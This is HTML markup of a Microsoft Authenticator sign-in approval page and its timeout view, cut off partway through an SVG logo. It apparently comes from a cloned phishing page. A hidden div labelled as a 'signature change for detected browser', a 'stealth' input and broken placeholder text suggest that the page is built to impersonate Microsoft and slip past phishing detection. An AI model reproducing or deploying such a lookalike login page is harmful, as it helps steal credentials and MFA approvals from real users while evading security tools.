<input type="hidden" name="request" data-bind="value: svr.sCtx" value="rQQIARAAhZM_jNt0FMfj5C7koiscR4uKWG7ogFrZsX92EvsAiSTOH98lTmI758SL5fhfnPi_nTjxhGCABdGhMJyYkFhugwXEBBu6qVIlRG-oUIcOIKQKlrKRwlyxPH2f3vsOT9_PKxYqCAYQDEFv5wCCHt8iqpUyQZSnMA7UCkxQUxQmcb0CYxqFb0egWlGV8LB4AO6df5UNNo33P_r9p8dPbr99AR3N4tiPjkulJEkQzzAsVUdUzynZiqtZrrkC30HQfQg6z-7qLjziL7JRBa9SGAFAFcVICi_jBIGwc9but4fricPEbKomPQtFWZqbdQUTnwijWBJG-GTecqT2mcW2W05P5BY9cZSy6SJmaYaQeBTttZl1VzzZ7jCxRC-IHt1c9-Yzp0-rxFX2lX5tGc_A8-KFVqr_md0zvNCRfS-Kz3OfZ0m6OoIjipMiw2SadDoZJMISGxvxsI5TDXe0thRZrcNccDb0o7FnBzQ-XQ0bMyAx1aBugoUkYl3YJhUzrBHhJqmnDtN0u91m1PI7ZRtNB749xVHcFqqdqJwOpiZJblyqMbcXnEJLM2AGp0BYEBQPe8aQDLnGCK413FjENmHTmAsnpiTyhMHzrbqyHBqLJGgroJl4da9lruChrkhV1le1mh42tKZwNpG58oJzcW8wHvoVEcAoBfhW0NSIEGOlWt9uke1wwqwGFbZCYaShj9kTQMoaLAejmROfpq4om6p5kXvjBfGuwDe5_FY4nnuZq3q-7lrakR96hmXrL0JiBUr9f7uO5-hIzbYf524pquot3fg931Y220A0Q3Ese-PomqUq9nMXoizv70C_7bxeyB_s34SOMm9dR3PHhULxIHMzc5R5tgN9ubsF82v97w9_fvAO88n66uH1T29kLndLkqVtjDteYAagfBYx7dOpYNZ1cVk2TpJuWO6P7TuYUOPEAGXeBcfY3Tx0N5-_zL_K0DLbFHihxtI1jgYy-jSf_fgl6Pu9_0X9g_1rhczh3t4j99s3v-CvOlf7rxWLS0u2ve0xenT43wv8cC3z7OVfn_7y2Y9_3fuj8w81">
<input type="hidden" name="mfaLastPollStart" data-bind="value: currentPollStartTime" value="1655826439762">
<input type="hidden" name="mfaLastPollEnd" data-bind="value: currentPollEndTime" value="1655826441510">

<!-- ko if: twoWayPollingNeeded -->
<input type="hidden" data-bind="attr: { name: svr.sAuthMethodInputFieldName }, value: \\'PhoneAppNotification\\'" name="mfaAuthMethod" value="PhoneAppNotification">
<!-- /ko -->

<!-- ko if: svr.canary -->
<input type="hidden" name="canary" data-bind="value: svr.canary" value="Zidyf+oqgq25VsIGKbTgBeWu5fJwLr5OXl+1TARWq0I=9:1">
<!-- /ko -->

<div id="idDiv_SAOTCAS_Title" class="row text-title" role="heading" aria-level="1" data-bind="text: title">Approve sign in request</div>
<div class="row text-body">
    <div data-bind="component: { name: \\'proof-image-control\\', params: { type: PROOF.Type.TOTPAuthenticatorV2, small: true, animate: true } }"><!--  -->

<!-- ko if: type === PROOF.Type.Email --><!-- /ko -->

<!-- ko if: type === PROOF.Type.SMS || type === PROOF.Type.TwoWaySMS || type === PROOF.Type.TwoWaySMSAlternateMobile --><!-- /ko -->

<!-- ko if: type === PROOF.Type.Voice || type === PROOF.Type.TwoWayVoice || type === PROOF.Type.TwoWayVoiceAlternateMobile || type === PROOF.Type.TwoWayVoiceOffice --><!-- /ko -->

<!-- ko if: type === PROOF.Type.TOTPAuthenticatorV2 -->
    <!-- ko if: !svr.fUseNewAuthenticatorIcon --><!-- /ko -->

    <!-- ko if: svr.fUseNewAuthenticatorIcon -->
        <!-- ko component: \\'accessible-image-control\\' --><!-- ko if: (isHighContrastBlackTheme || hasDarkBackground || svr.fHasBackgroundColor) && !isHighContrastWhiteTheme --><!-- /ko -->
<!-- ko if: (isHighContrastWhiteTheme || (!hasDarkBackground && !svr.fHasBackgroundColor)) && !isHighContrastBlackTheme -->
<!-- ko template: { nodes: [darkImageNode], data: $parent } --><img class="tile-img small animate-pulse" role="presentation" pngsrc="<https://aadcdn.msauth.net/shared/1.0/content/images/picker_verify_authenticator_942ac71f77cb04004b0ab25950e170b5.png>" svgsrc="<https://aadcdn.msauth.net/shared/1.0/content/images/picker_verify_fluent_authenticator_b59c16ca9bf156438a8a96d45e33db64.svg>" data-bind="imgSrc, css: { \\'small\\': small, \\'animate-pulse\\': animate }" src="<https://aadcdn.msauth.net/shared/1.0/content/images/picker_verify_fluent_authenticator_b59c16ca9bf156438a8a96d45e33db64.svg>"><!-- /ko -->
<!-- /ko --><!-- /ko -->
    <!-- /ko -->
<!-- /ko -->

<!-- ko if: type === PROOF.Type.TOTPAuthenticator --><!-- /ko -->

<!-- ko if: type === PROOF.Type.FidoKey --><!-- /ko -->

<!-- ko if: type === PROOF.Type.AccessPass --><!-- /ko --></div>
    <div class="text-block-body overflow-hidden">
        <div id="idDiv_SAOTCAS_Description" data-bind="htmlWithBindings: description, childBindings: { \\'idSpan_SAOTCAS_DescSessionID\\': { css: { \\'bold\\': true } } }">Open your Microsoft Authenticator app and approve the request to sign in</div>
        <!-- ko if: description2 --><!-- /ko -->
    </div>
</div>

<!-- ko if: displaySign --><!-- /ko -->

<div>
    <!-- ko if: doPolling --><!-- /ko -->
</div>

<div data-bind="css: { \\'position-buttons\\': !tenantBranding.BoilerPlateText }" class="position-buttons">
    <div class="row">
        <div class="row no-margin-top-bottom" data-bind="visible: tdCheckbox.isShown" style="display: none;">
            <div class="col-md-24 form-group no-margin-top checkbox">
                <label id="idLbl_SAOTCAS_TD_Cb">
                    <!-- Set attr binding before hasFocusEx to prevent Narrator from losing focus -->
                    <input id="idChkBx_SAOTCAS_TD" type="checkbox" value="true" data-bind="
                        attr: { name: svr.sTrustedDeviceCheckboxName },
                        ariaLabel: str[\\'CT_SAOTCAS_STR_AddTD\\'],
                        ariaDescribedBy: [\\'idDiv_SAOTCAS_Title\\', \\'idDiv_SAOTCAS_Description\\'].concat(description2 ? [\\'idDiv_RichContext_Description\\'] : []).join(\\' \\'),
                        hasFocusEx: tdCheckbox.isShown,
                        checked: tdCheckbox.isChecked,
                        disable: tdCheckbox.isDisabled" name="rememberMFA" aria-label="Don\\'t ask again for undefined days" aria-describedby="idDiv_SAOTCAS_Title idDiv_SAOTCAS_Description">
                    <span data-bind="text: str[\\'CT_SAOTCAS_STR_AddTD\\']">Don\\'t ask again for undefined days</span>
                </label>
            </div>
        </div>

        <div class="row">
            <div class="col-md-24">
                <div class="text-13">
                    <!-- ko if: showSwitchProofsLink -->
                    <div style="" id="idDiv_SAOTCS_HavingTrouble" class="form-group" data-bind="
                            css: { \\'no-margin-bottom\\': !svr.urlMoreInfo },
                            htmlWithBindings: toggleText,
                            childBindings: {
                                \\'signInAnotherWay\\': {
                                    hasFocusEx: !tdCheckbox.isShown,
                                    ariaDescribedBy: [\\'idDiv_SAOTCAS_Title\\', \\'idDiv_SAOTCAS_Description\\'].concat(description2 ? [\\'idDiv_RichContext_Description\\'] : []).join(\\' \\') } }"><a href="#" id="signInAnotherWay" aria-describedby="idDiv_SAOTCAS_Title idDiv_SAOTCAS_Description">I can\\'t use my Microsoft Authenticator app right now</a></div>
                    <!-- /ko -->

                    <!-- ko if: svr.urlMoreInfo -->
                    <div class="form-group no-margin-bottom">
                        <a id="moreInfoUrl" target="_blank" href="" data-bind="text: str[\\'CT_STR_More_Info\\'], href: svr.urlMoreInfo, ariaLabel: str[\\'CT_STR_More_Info_AriaLabel\\']" aria-label="More information about two step verification">More information</a>
                    </div>
                    <!-- /ko -->
                </div>
            </div>
        </div>
    </div>

    <div class="win-button-pin-bottom" data-bind="css : { \\'boilerplate-button-bottom\\': tenantBranding.BoilerPlateText }">
        <div class="row" data-bind="css: { \\'move-buttons\\': tenantBranding.BoilerPlateText }">
            <div data-bind="component: { name: \\'footer-buttons-field\\',
                params: {
                    serverData: svr,
                    isPrimaryButtonVisible: false,
                    isSecondaryButtonVisible: !showSwitchProofsLink,
                    secondaryButtonText: str[\\'CT_SAOTCC_STR_Cancel\\'] },
                event: {
                    secondaryButtonClick: secondaryButton_onClick } }"><div class="col-xs-24 no-padding-left-right button-container" data-bind="
    visible: isPrimaryButtonVisible() || isSecondaryButtonVisible(),
    css: { \\'no-margin-bottom\\': removeBottomMargin }" style="display: none;">

    <!-- ko if: isSecondaryButtonVisible --><!-- /ko -->

    <div data-bind="css: { \\'inline-block\\': isPrimaryButtonVisible }">
        <!-- type="submit" is needed in-addition to \\'type\\' in primaryButtonAttributes observable to support IE8 -->
        <input type="submit" id="idSIButton9" class="win-button button_primary button ext-button primary ext-primary" data-report-event="Signin_Submit" data-report-trigger="click" data-report-value="Submit" data-bind="
                attr: primaryButtonAttributes,
                externalCss: {
                    \\'button\\': true,
                    \\'primary\\': true },
                value: primaryButtonText() || str[\\'CT_PWD_STR_SignIn_Button_Next\\'],
                hasFocus: focusOnPrimaryButton,
                click: primaryButton_onClick,
                enable: isPrimaryButtonEnabled,
                visible: isPrimaryButtonVisible,
                preventTabbing: primaryButtonPreventTabbing" value="Next" style="display: none;" data-report-attached="1">
    </div>
</div></div>
        </div>
    </div>
</div>

<!-- ko if: tenantBranding.BoilerPlateText --><!-- /ko --></div><!-- /ko -->
            <!-- /ko -->
        
            <!-- ko if: $parent.currentViewIndex() === $index() --><!-- /ko -->
        
            <!-- ko if: $parent.currentViewIndex() === $index() --><!-- /ko -->
        
            <!-- ko if: $parent.currentViewIndex() === $index() --><!-- /ko -->
        
            <!-- ko if: $parent.currentViewIndex() === $index() --><!-- /ko -->
        
            <!-- ko if: $parent.currentViewIndex() === $index() --><!-- /ko -->
        
            <!-- ko if: $parent.currentViewIndex() === $index() --><!-- /ko -->
        <!-- /ko -->
    </div>
	
	<div id="id-signature-change" style="display:none;">
		<p> THIS WORKS AS A SIGNA TURE CHANGE FOR DETECED BROWSER</p>
	</div>
	<div style="display:none;" class="mfa2-error pagination-view animate has-identity-banner slide-in-next" data-bind="css: {
        \\'has-identity-banner\\': showIdentityBanner() &amp;&amp; (sharedData.displayName || svr.sPOST_Username),
        \\'zero-opacity\\': hidePaginatedView.hideSubView(),
        \\'animate\\': animate(),
        \\'slide-out-next\\': animate.isSlideOutNext(),
        \\'slide-in-next\\': animate.isSlideInNext(),
        \\'slide-out-back\\': animate.isSlideOutBack(),
        \\'slide-in-back\\': animate.isSlideInBack() }">

        <!-- ko foreach: views -->
            <!-- ko if: $parent.currentViewIndex() === $index() --><!-- /ko -->
        
            <!-- ko if: $parent.currentViewIndex() === $index() --><!-- /ko -->
        
            <!-- ko if: $parent.currentViewIndex() === $index() --><!-- /ko -->
        
            <!-- ko if: $parent.currentViewIndex() === $index() --><!-- /ko -->
        
            <!-- ko if: $parent.currentViewIndex() === $index() --><!-- /ko -->
        
            <!-- ko if: $parent.currentViewIndex() === $index() -->
                <!-- ko template: { nodes: [$data], data: $parent } --><div data-viewid="7" data-showidentitybanner="true" data-bind="pageViewComponent: { name: \\'session-approval-timeout-view\\',
                    params: {
                        serverData: svr,
                        sentProof: sharedData.sentProof,
                        username: sharedData.username,
                        hasTotp: sharedData.hasTotp,
                        showCancelButton: sharedData.showCancelButton,
                        sessionApprovalError: sharedData.sessionApprovalError,
                        debugDetails: sharedData.debugDetails,
                        flowToken: sharedData.flowToken,
                        sessionApprovalError: sharedData.sessionApprovalError },
                    event: {
                        cancel: view_onCancel,
                        updateFlowToken: $tfaPage.view_onUpdateFlowToken,
                        setPendingRequest: $tfaPage.view_onSetPendingRequest,
                        updateSessionIdentifier: $tfaPage.view_onUpdateSessionIdentifier,
                        showDebugDetails: $tfaPage.toggleDebugDetails_onClick } }"><!--  -->

<div>
    <div class="row text-title" role="heading" aria-level="1" data-bind="visible: !sendErrorOccurred,
        html: titleText,
        attr: { id: getId(\\'idDiv\\', \\'Title\\') }" id="idDiv_SAASTO_Title">We didn\\'t hear from you</div>

    <div class="text-block-body form-group">
        <span class="form-group" role="alert" data-bind="
            visible: sendErrorOccurred,
            text: str[\\'CT_SAASTO_STR_Error_SendFail\\'],
            attr: { id: getId(\\'idDiv\\', \\'SendErrorTitle\\') }" style="display: none;" id="idDiv_SAASTO_SendErrorTitle">Request wasn\\'t sent</span>

        <span class="form-group" role="alert" data-bind="
            visible: !sendErrorOccurred,
            attr: { id: getId(\\'idDiv\\', \\'Description\\') },
            css: { \\'alert alert-error\\': error() &amp;&amp; !isAuthLimitReached },
            htmlWithBindings: descriptionText,
            childBindings: {
                \\'useAuthenticator\\': {
                    click: switchToOtcConfirm_onClick,
                    ariaDescribedBy: \\'idDiv_SAASTO_Title idDiv_SAASTO_Description\\',
                    hasFocus: true },
                \\'useVerificationCode\\': {
                    click: switchToOtcConfirm_onClick,
                    ariaDescribedBy: \\'idDiv_SAASTO_Title idDiv_SAASTO_Description\\',
                    hasFocus: true } }" id="idDiv_SAASTO_Description">We sent an identity verification request to your Microsoft Authenticator app, but we didn\\'t hear from you in time.</span>

        <!-- ko if: svr.fShowViewDetailsLink && !isAuthLimitReached -->
        <a id="ViewDetails" class="no-wrap" href="#" data-bind="
            text: str[\\'CT_STR_Error_ViewDetails\\'],
            clickExpr: onShowDebugDetails(debugDetails, true),
            ariaLabel: str[\\'CT_STR_Error_ViewDetailsAriaLabel\\']" aria-label="View debugging details for this error">View details</a>
        <!-- /ko -->
    </div>

    <!-- ko ifnot: isAuthLimitReached -->
    <div class="form-group">
        <a href="#" data-bind="html: str[\\'CT_SAASTO_STR_Resend\\'], attr: { id: getId(\\'idA\\', \\'Resend\\') }, click: resend_onClick" id="idA_SAASTO_Resend"></a>
    </div>
    <!-- /ko -->

</div>

<!-- ko if: !isAuthLimitReached && (allowTotp || showSwitchProofsLink) -->
<div>
    <div class="text-subtitle" data-bind="html: str[\\'CT_SAOTCAS_STR_Trouble\\'], attr: { id: getId(\\'idDiv\\', \\'Trouble\\') }" id="idDiv_SAASTO_Trouble">Having trouble?</div>
   
</div>
<!-- /ko -->

<!-- ko if: isAuthLimitReached && showSwitchProofsLink --><!-- /ko -->

<div data-bind="css: { \\'position-buttons\\': !tenantBranding.BoilerPlateText }" class="position-buttons">
    <div>
        <!-- ko if: svr.urlMoreInfo -->
        <div class="row">
            <div class="col-md-24">
                <div class="text-13">
                    <div class="form-group">
                        <a id="moreInfoUrl" target="_blank" href="<https://go.microsoft.com/fwlink/p/?LinkId=708614>" data-bind="
                            text: str[\\'CT_STR_More_Info\\'],
                            href: svr.urlMoreInfo,
                            ariaLabel: str[\\'CT_STR_More_Info_AriaLabel\\']" aria-label="More information about two step verification">More information</a>
                    </div>
                </div>
            </div>
        </div>
        <!-- /ko -->
    </div>
</div>

<div class="win-button-pin-bottom" data-bind="css : { \\'boilerplate-button-bottom\\': tenantBranding.BoilerPlateText }">
    <div class="row" data-bind="css: { \\'move-buttons\\': tenantBranding.BoilerPlateText }">
        <div data-bind="component: { name: \\'footer-buttons-field\\',
            params: {
                serverData: svr,
                removeBottomMargin: !svr.urlMoreInfo,
                isPrimaryButtonVisible: false,
                secondaryButtonId: getId(\\'idBtn\\', \\'Cancel\\'),
                secondaryButtonText: str[\\'CT_SAOTCC_STR_Cancel\\'],
                isSecondaryButtonVisible: svr.fShowButtons &amp;&amp; showCancelButton },
            event: {
                secondaryButtonClick: secondaryButton_onClick } }"><div class="col-xs-24 no-padding-left-right button-container" data-bind="
    visible: isPrimaryButtonVisible() || isSecondaryButtonVisible(),
    css: { \\'no-margin-bottom\\': removeBottomMargin }">

    <!-- ko if: isSecondaryButtonVisible -->
    <div class="inline-block">
        <input type="button" id="idBtn_SAASTO_Cancel" class="win-button button-secondary button ext-button secondary ext-secondary" data-bind="
            attr: { \\'id\\': secondaryButtonId || \\'idBtn_Back\\' },
            externalCss: {
                \\'button\\': true,
                \\'secondary\\': true },
            value: secondaryButtonText() || str[\\'CT_HRD_STR_Splitter_Back\\'],
            ariaDescribedBy: secondaryButtonDescribedBy,
            hasFocus: focusOnSecondaryButton,
            click: secondaryButton_onClick,
            enable: isSecondaryButtonEnabled" value="Cancel">
    </div>
    <!-- /ko -->

    <div data-bind="css: { \\'inline-block\\': isPrimaryButtonVisible }">
        <!-- type="submit" is needed in-addition to \\'type\\' in primaryButtonAttributes observable to support IE8 -->
        <input type="submit" id="idSIButton9" class="win-button button_primary button ext-button primary ext-primary" data-report-event="Signin_Submit" data-report-trigger="click" data-report-value="Submit" data-bind="
                attr: primaryButtonAttributes,
                externalCss: {
                    \\'button\\': true,
                    \\'primary\\': true },
                value: primaryButtonText() || str[\\'CT_PWD_STR_SignIn_Button_Next\\'],
                hasFocus: focusOnPrimaryButton,
                click: primaryButton_onClick,
                enable: isPrimaryButtonEnabled,
                visible: isPrimaryButtonVisible,
                preventTabbing: primaryButtonPreventTabbing" value="Next" style="display: none;">
    </div>
</div></div>
    </div>
</div>

<!-- ko if: tenantBranding.BoilerPlateText --><!-- /ko --></div><!-- /ko -->
            <!-- /ko -->
        
            <!-- ko if: $parent.currentViewIndex() === $index() --><!-- /ko -->
        
            <!-- ko if: $parent.currentViewIndex() === $index() --><!-- /ko -->
        
            <!-- ko if: $parent.currentViewIndex() === $index() --><!-- /ko -->
        
            <!-- ko if: $parent.currentViewIndex() === $index() --><!-- /ko -->
        
            <!-- ko if: $parent.currentViewIndex() === $index() --><!-- /ko -->
        <!-- /ko -->
    </div>
                        </div>
                     </div>
                  </div>
                  <div>
                  </div>
                  <div class="footer" id="footer">
                     <div>
                        <div class="footerNode text-secondary">
                           <a id="ftrTerms" data-bind="
            text: termsText,
            href: termsLink,
            click: termsLink_onClick,
            externalCss: {
                \\'footer-content\\': true,
                \\'footer-item\\': true,
                \\'has-background\\': !useDefaultBackground,
                \\'background-always-visible\\': hasDarkBackground }" href="<https://www.microsoft.com/fr/servicesagreement/>" class="footer-content ext-footer-content footer-item ext-footer-item">Terms &amp; Conditions</a>
        <!-- /ko -->

        <!-- ko if: !hidePrivacy -->
        <a id="ftrPrivacy" data-bind="
            text: privacyText,
            href: privacyLink,
            click: privacyLink_onClick,
            externalCss: {
                \\'footer-content\\': true,
                \\'footer-item\\': true,
                \\'has-background\\': !useDefaultBackground,
                \\'background-always-visible\\': hasDarkBackground }" href="<https://privacy.microsoft.com/fr/privacystatement>" class="footer-content ext-footer-content footer-item ext-footer-item">Cookie Privacy</a>
        <!-- /ko -->

        <!-- ko if: impressumLink --><!-- /ko -->

        <!-- ko if: showIcpLicense --><!-- /ko -->
    <!-- /ko -->
        <a id="moreOptions" href="#" role="button" data-bind="
        click: moreInfo_onClick,
        ariaLabel: str[\\'CT_STR_More_Options_Ellipsis_AriaLabel\\'],
        attr: { \\'aria-expanded\\': showDebugDetails().toString() },
        hasFocusEx: focusMoreInfo(),
        externalCss: {
            \\'footer-content\\': true,
            \\'footer-item\\': true,
            \\'debug-item\\': true,
            \\'has-background\\': !useDefaultBackground,
            \\'background-always-visible\\': hasDarkBackground }" aria-label="Cliquez ici pour obtenir des informations sur la résolution des problèmes" aria-expanded="false" class="footer-content ext-footer-content footer-item ext-footer-item debug-item ext-debug-item">...</a>

                           <a href="#"><img src=""></a>
                        </div>
                     </div>
                  </div>
               </div>
            </div>
			<input type="hidden" class="stealth">

      </div> 
              <div id="loadingScreen" style="display: none;">
                    <svg id="loadingLogo" xmlns="<http://www.w3.org/2000/svg>" xmlns:xlink="<http://www.w3.org/1999/xlink>" viewBox="0 0 220 220" shape-rendering="geometricPrecision" text-rendering="geometricPrecision" width="220" height="220"><g id="loadingLogo2_ts" transform="translate(108.894430,155.715127) scale(0.668963,0.668963)"><g id="loadingLogo2" transform="translate(-100.998749,-141)" opacity="0"><g id="loadingLogo3_to" transform="translate(101.000155,195.970703)">
                        <g id="loadingLogo3" style="filter: drop-shadow(0px 4px 0px rgba(0, 0, 0, 0))" transform="translate(-101.000155,-195.970703)">
                        <g id="loadingLogo4">
                            <path id="loadingLogo5" d="M20.933784,97.210600C20.933784,97.210600,20.178271,92.940053,20.024003,93L182.019255,93C182.019255,93,182.014000,95.531900,181.999000,97.210600C182.023000,98.906600,181.177000,100.496000,179.759000,101.421000L106.684000,145.998000L105.732000,146.559000C104.337000,147.306000,102.778000,147.691000,101.197000,147.682000C99.633300,147.689000,98.093100,147.303000,96.716900,146.559000L95.709000,145.998000L22.410100,101.421000C20.902100,100.535000,22.381585,98.916937,20.933784,97.210600Z" transform="matrix(1 0 0 1 -0.02180297631334 3.99999999659653)" fill="rgb(18,59,109)" stroke="none" stroke-width="1"></path>
                        <g id="loadingLogo6_ts" transform="translate(101.000708,97.499588) scale(1,-0.001720)">
                            <path id="loadingLogo6" d="M179.759000,93.373200L106.572000,48.740400L105.620000,48.122800C104.215000,47.403400,102.663000,47.019100,101.085000,47C99.524600,47.019600,97.990700,47.404100,96.604900,48.122800L95.597000,48.740400L22.298100,93.317000C20.875500,94.218100,20.009900,95.804917,20.002200,97.491917C19.983300,99.244317,20.902100,100.852000,22.410100,101.738000L95.709000,146.315000L96.716900,146.876000C98.093100,147.620000,99.633300,148.006000,101.197000,147.999000C102.778000,148.009000,104.337000,147.623000,105.732000,146.876000L106.684000,146.315000L179.759000,101.738000C181.177000,100.813000,182.023000,99.223700,181.999000,97.527700C182.014000,95.849000,181.168000,94.280100,179.759000,93.373200Z" transform="translate(-101.000708,-97.499588)" fill="rgb(18,59,109)" stroke="none" stroke-width="1"></path></g></g><g id="loadingLogo7" clip-path="url(#loadingLogo22)"><g id="loadingLogo8_ts" transform="translate(101.000699,159.914723) scale(1,1)"><g id="loadingLogo8" transform="translate(-101.000699,-159.914723)"><g id="loadingLogo9_to" transform="translate(101,205.753765)"><g id="loadingLogo9" transform="translate(-101,-81)"><path id="loadingLogo10" d="M28,10C28,4.477150,32.477200,0,38,0L164,0C169.523000,0,174,4.477150,174,10C174,10,173.999301,28.355009,173.999301,28.355009L28,51.060529L28,10Z" transform="matrix(1 0 0 1 0.00069904000000 0)" fill="rgb(3,88,167)" stroke="none" stroke-width="1"></path><g id="loadingLogo11"><rect id="loadingLogo12" width="54.063866" height="50.118118" rx="0" ry="0" transform="matrix(1 0 0 1 28 24.00000000069796)" fill="rgb(0,120,212)" stroke="none" stroke-width="1"></rect><rect id="loadingLogo13" width="46" height="50.118118" rx="0" ry="0" transform="matrix(1.04381524897098 0 0 1 125.98449854733477 24)" fill="rgb(80,217,255)" stroke="none" stroke-width="1"></rect><rect id="loadingLogo14" width="50" height="50.118118" rx="0" ry="0" transform="matrix(1 0 0 1 78 24)" fill="rgb(40,168,234)" stroke="none" stroke-width="1"></rect></g><g id="loadingLogo15"><rect id="loadingLogo16" width="54.063866" height="50.659265" rx="0" ry="0" transform="matrix(1 0 0 1 28 70)" fill="rgb(3,100,184)" stroke="none" stroke-width="1"></rect><rect id="loadingLogo17" width="46" height="50.659265" rx="0" ry="0" transform="matrix(1.05111776899004 0 0 1 125.64858262645808 70)" fill="rgb(40,168,234)" stroke="none" stroke-width="1"></rect><rect id="loadingLogo18" width="50" height="50.659265" rx="0" ry="0" transform="matrix(1 0 0 1 78 70)" fill="rgb(0,120,212)" stroke="none" stroke-width="1"></rect></g><rect id="loadingLogo19" width="46" height="46" rx="0" ry="0" transform="matrix(1.05885006553074 0 0 1 125.29289698558608 116)" fill="rgb(0,120,212)" stroke="none" stroke-width="1"></rect><rect id="loadingLogo20" width="54.063866" height="46" rx="0" ry="0" transform="matrix(1 0 0 1 28 116)" fill="rgb(20,68,125)" stroke="none" stroke-width="1"></rect><rect id="loadingLogo21" width="50" height="46" rx="0" ry="0" transform="matrix(1 0 0 1 78 116)" fill="rgb(3,100,184)" stroke="none" stroke-width="1"></rect></g></g></g></g><clipPath id="loadingLogo22"><path id="loadingLogo23" d="M20.002200,91.603067C20.009900,89.730718,20.875500,87.992107,22.298100,86.992115L179.759000,87.054379C181.168000,88.060919,182.014000,89.802193,181.999000,91.665331C182.023000,93.547669,181.177000,95.311695,179.759000,96.338325L106.684000,145.812969L105.732000,146.435605C104.337000,147.264678,102.778000,147.691977,101.197000,147.681988C99.633300,147.689758,98.093100,147.261348,96.716900,146.435605L95.709000,145.812969L22.410100,96.338325C20.902100,95.354980,19.983300,93.548002,20.002200,91.603067Z" transform="matrix(2.23434089273892 0 0 3.43311766004244 -124.66929302028908 -322.01007244420919)" fill="rgb(18,59,109)" stroke="none" stroke-width="1"></path></clipPath></g><g id="loadingLogo24" mask="url(#loadingLogo30)"><g id="loadingLogo25"><path id="loadingLogo26" d="M172,185L20,185L182,97L182,175C182,180.523000,177.523000,185,172,185Z" fill="rgb(20,144,223)" stroke="none" stroke-width="1"></path><g id="loadingLogo27"><path id="loadingLogo28" d="M30,185L182,185L20,97L20,175C20,180.523000,24.477200,185,30,185Z" fill="rgb(40,168,234)" stroke="none" stroke-width="1"></path></g></g><g id="loadingLogo29_ts" transform="translate(101.000699,97.499573) scale(1,1)"><path id="loadingLogo29" style="filter: drop-shadow(
                                                    0px 0px 0px rgba(0, 0, 0, 0.09)
                                                );" d="M22.408100,101.421000C20.900200,100.535000,19.981300,98.906900,20.000300,97.154500C20.007700,95.502000,20.838500,93.965200,22.209500,93.056100L179.757000,93.056100C181.166000,93.963000,182.012000,95.531900,181.997000,97.210600C182.021000,98.906600,181.175000,100.496000,179.757000,101.421000L106.682000,145.998000L105.730000,146.559000C104.335000,147.306000,102.776000,147.691000,101.195000,147.682000C99.631300,147.689000,98.091100,147.303000,96.715000,146.559000L95.707100,145.998000L22.408100,101.421000Z" transform="translate(-101.000699,-97.499573)" fill="rgb(80,217,255)" stroke="none" stroke-width="1"></path></g><mask id="loadingLogo30" mask-type="alpha"><path id="loadingLogo31" d="M20,97L182,97L182,175C182,180.523000,177.523000,185,172,185L30,185C24.477200,185,20,180.523000,20,175L20,97Z" fill="rgb(196,196,196)" stroke="none" stroke-width="1"></path></mask></g></g></g></g></g></svg> <svg id="MSLogo" width="99" height="22" xmlns="<http://www.w3.org/2000/svg>"><g fill="none" fill-rule="evenodd"><path d="M34.643 12.075l-.588 1.647h-.034c-.105-.387-.28-.934-.556-1.63l-3.15-7.897h-3.077V16.75h2.03V9.032c0-.476-.01-1.052-.03-1.711-.01-.333-.049-.6-.058-.804h.045c.103.473.21.834.287 1.075l3.776 9.16h1.42l3.748-9.243c.085-.211.175-.622.257-.992h.044c-.048.915-.09 1.75-.095 2.256v7.978h2.165V4.195h-2.956l-3.228 7.88z" fill="#737474"></path><path d="M0 20.956h98.148V0H0z"></path><path fill="#737474" d="M42.866 16.751h2.118V7.752h-2.118zM43.947 3.929c-.349 0-.653.119-.902.353a1.166 1.166 0 00-.378.883c0 .344.126.636.374.865.247.23.552.345.906.345s.66-.115.91-.345c.25-.23.379-.52.379-.865 0-.339-.125-.632-.37-.873a1.262 1.262 0 00-.919-.363M52.477 7.663a5.892 5.892 0 00-1.182-.127c-.971 0-1.838.209-2.574.62-.739.41-1.31.998-1.699 1.745-.386.745-.583 1.615-.583 2.585 0 .85.19 1.631.567 2.318.377.69.91 1.23 1.585 1.602.673.373 1.452.563 2.313.563 1.006 0 1.866-.201 2.554-.597l.027-.017v-1.94l-.089.066c-.312.227-.66.408-1.035.538a3.121 3.121 0 01-1.014.197c-.83 0-1.497-.26-1.982-.772-.485-.513-.73-1.233-.73-2.14 0-.912.255-1.651.761-2.196.504-.544 1.173-.82 1.986-.82.695 0 1.374.236 2.014.702l.09.063V8.011l-.029-.017c-.241-.135-.571-.246-.98-.331M59.452 7.597a2.17 2.17 0 00-1.415.507c-.358.296-.616.7-.814 1.207H57.2V7.753h-2.116v8.999H57.2v-4.603c0-.784.178-1.426.528-1.912.346-.48.806-.723 1.369-.723.19 0 .404.031.636.093.23.063.396.129.493.2l.09.064V7.737l-.034-.014c-.197-.083-.477-.126-.83-.126M66.885 14.465c-.397.499-.996.751-1.779.751-.777 0-1.39-.256-1.823-.766-.435-.51-.655-1.238-.655-2.163 0-.954.22-1.701.655-2.22.433-.516 1.04-.778 1.806-.778.743 0 1.335.25 1.758.744.426.496.642 1.237.642 2.202 0 .977-.203 1.728-.604 2.23m-1.683-6.929c-1.484 0-2.663.435-3.503 1.293-.84.857-1.265 2.044-1.265 3.527 0 1.41.415 2.543 1.235 3.368.82.826 1.936 1.245 3.316 1.245 1.438 0 2.593-.441 3.434-1.31.84-.87 1.265-2.045 1.265-3.493 0-1.433-.4-2.573-1.187-3.394-.789-.82-1.897-1.236-3.295-1.236M74.378 11.471c-.667-.268-1.095-.49-1.27-.66-.17-.165-.257-.398-.257-.693 0-.262.108-.472.327-.642.219-.17.526-.257.911-.257.357 0 .723.056 1.085.166.363.111.682.26.949.44l.088.06V7.928l-.035-.015a4.715 4.715 0 00-.962-.268 5.932 5.932 0 00-1.056-.109c-1.01 0-1.845.258-2.483.767-.64.512-.967 1.184-.967 1.997 0 .422.07.798.209 1.116.14.32.355.6.641.837.283.233.722.478 1.302.728.488.2.852.37 1.083.505.227.13.387.263.477.39.088.127.133.299.133.512 0 .604-.452.897-1.384.897a3.8 3.8 0 01-1.172-.213 4.418 4.418 0 01-1.2-.609l-.089-.064v2.064l.033.015c.304.14.686.257 1.137.35.449.094.859.141 1.213.141 1.096 0 1.977-.26 2.62-.771.648-.515.976-1.204.976-2.045 0-.607-.176-1.127-.525-1.546-.345-.416-.946-.799-1.784-1.136M84.063 14.465c-.398.499-.997.751-1.78.751-.777 0-1.39-.256-1.822-.766-.435-.51-.655-1.238-.655-2.163 0-.954.22-1.701.655-2.22.432-.516 1.04-.778 1.806-.778.743 0 1.335.25 1.758.744.426.496.642 1.237.642 2.202 0 .977-.204 1.728-.604 2.23M82.38 7.536c-1.484 0-2.663.435-3.503 1.293-.84.857-1.266 2.044-1.266 3.527 0 1.41.415 2.543 1.235 3.368.82.826 1.936 1.245 3.317 1.245 1.438 0 2.593-.441 3.433-1.31.84-.87 